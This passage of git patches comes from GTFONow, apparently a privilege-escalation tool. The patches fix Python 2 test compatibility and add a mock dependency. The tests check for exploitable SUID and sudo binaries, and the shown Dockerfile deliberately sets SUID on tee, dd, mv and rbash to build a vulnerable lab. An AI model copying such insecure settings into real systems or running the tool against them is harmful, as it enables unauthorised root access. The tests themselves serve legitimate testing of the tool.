stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) - process.stdin.write(command + '\n') + bytes_command = (command + "\n").encode('utf-8') + process.stdin.write(bytes_command) out, err = process.communicate() if out: print(out) From d3365613a97b73b229813a222ade56f3284ed3e5 Mon Sep 17 00:00:00 2001 From: frissi0n Date: Mon, 4 Dec 2023 13:38:49 +0000 Subject: [PATCH 14/16] Fix python2 test case compatibility --- gtfonow/tests/test_privesc.py | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/gtfonow/tests/test_privesc.py b/gtfonow/tests/test_privesc.py index 0944ad4..a21825b 100644 --- a/gtfonow/tests/test_privesc.py +++ b/gtfonow/tests/test_privesc.py @@ -2,10 +2,16 @@ import pytest import os from gtfonow.gtfonow import * -from unittest.mock import patch, MagicMock +from unittest.mock import patch +from __future__ import print_function log.set_level(logging.DEBUG) +if sys.version_info >= (3, 3): + from unittest.mock import MagicMock +else: + from mock import MagicMock + def test_check_suid_bins(): log.debug(os.getenv('PATH')) @@ -23,7 +29,6 @@ def test_check_suid_bins(): } res = check_suid_bins() - print(res) assert expected in res @@ -31,7 +36,6 @@ def test_check_sudo_nopasswd_binaries(): log.debug(os.getenv('PATH')) sudo_l_output = get_sudo_l_output() - print(sudo_l_output) res = check_sudo_nopasswd_binaries(sudo_l_output) expected = { "SudoUser": "root", @@ -43,7 +47,6 @@ def test_check_sudo_nopasswd_binaries(): "Payload Type": "Arbitrary read" } - print(res) assert expected in res @@ -73,6 +76,4 @@ def test_exploit(capsys, binary, payload, exploit_type, risk, auto, binary_path exploit(binary, payload, exploit_type, risk, auto, binary_path=binary_path, command=command) captured = capsys.readouterr() - print(captured.out) - print(captured.err) assert "ONLY_ROOT_CAN_READ_THIS" in captured.out From d5799c985f797bcbd33185bd17d1e3ef2f5e4c9e Mon Sep 17 00:00:00 2001 From: frissi0n Date: Mon, 4 Dec 2023 13:46:32 +0000 Subject: [PATCH 15/16] Fix python2 test case compatibility --- gtfonow/tests/test_privesc.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/gtfonow/tests/test_privesc.py b/gtfonow/tests/test_privesc.py index a21825b..ba60e11 100644 --- a/gtfonow/tests/test_privesc.py +++ b/gtfonow/tests/test_privesc.py @@ -1,9 +1,9 @@ +from __future__ import print_function import sys import pytest import os from gtfonow.gtfonow import * from unittest.mock import patch -from __future__ import print_function log.set_level(logging.DEBUG) From 33ca0b3bc1fc6de6ba3ad9af183b3286b3ca0d70 Mon Sep 17 00:00:00 2001 From: frissi0n Date: Mon, 4 Dec 2023 15:24:57 +0000 Subject: [PATCH 16/16] Install mock dependency --- Dockerfile | 2 +- gtfonow/tests/test_privesc.py | 6 ++---- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/Dockerfile b/Dockerfile index f80b1a4..5b9396b 100644 --- a/Dockerfile +++ b/Dockerfile @@ -23,7 +23,7 @@ RUN chmod u+s $(which tee) RUN chmod u+s $(which dd) RUN chmod u+s $(which mv) RUN chmod u+s $(which rbash) - +RUN pip install mock RUN useradd -ms /bin/bash lowpriv RUN useradd -ms /bin/bash higherpriv RUN ssh-keygen -N '' -f /root/.ssh/id_rsa diff --git a/gtfonow/tests/test_privesc.py b/gtfonow/tests/test_privesc.py index ba60e11..dccbaa2 100644 --- a/gtfonow/tests/test_privesc.py +++ b/gtfonow/tests/test_privesc.py @@ -3,14 +3,12 @@ import pytest import os from gtfonow.gtfonow import * -from unittest.mock import patch - log.set_level(logging.DEBUG) if sys.version_info >= (3, 3): - from unittest.mock import MagicMock + from unittest.mock import MagicMock, patch else: - from mock import MagicMock + from mock import MagicMock, patch def test_check_suid_bins():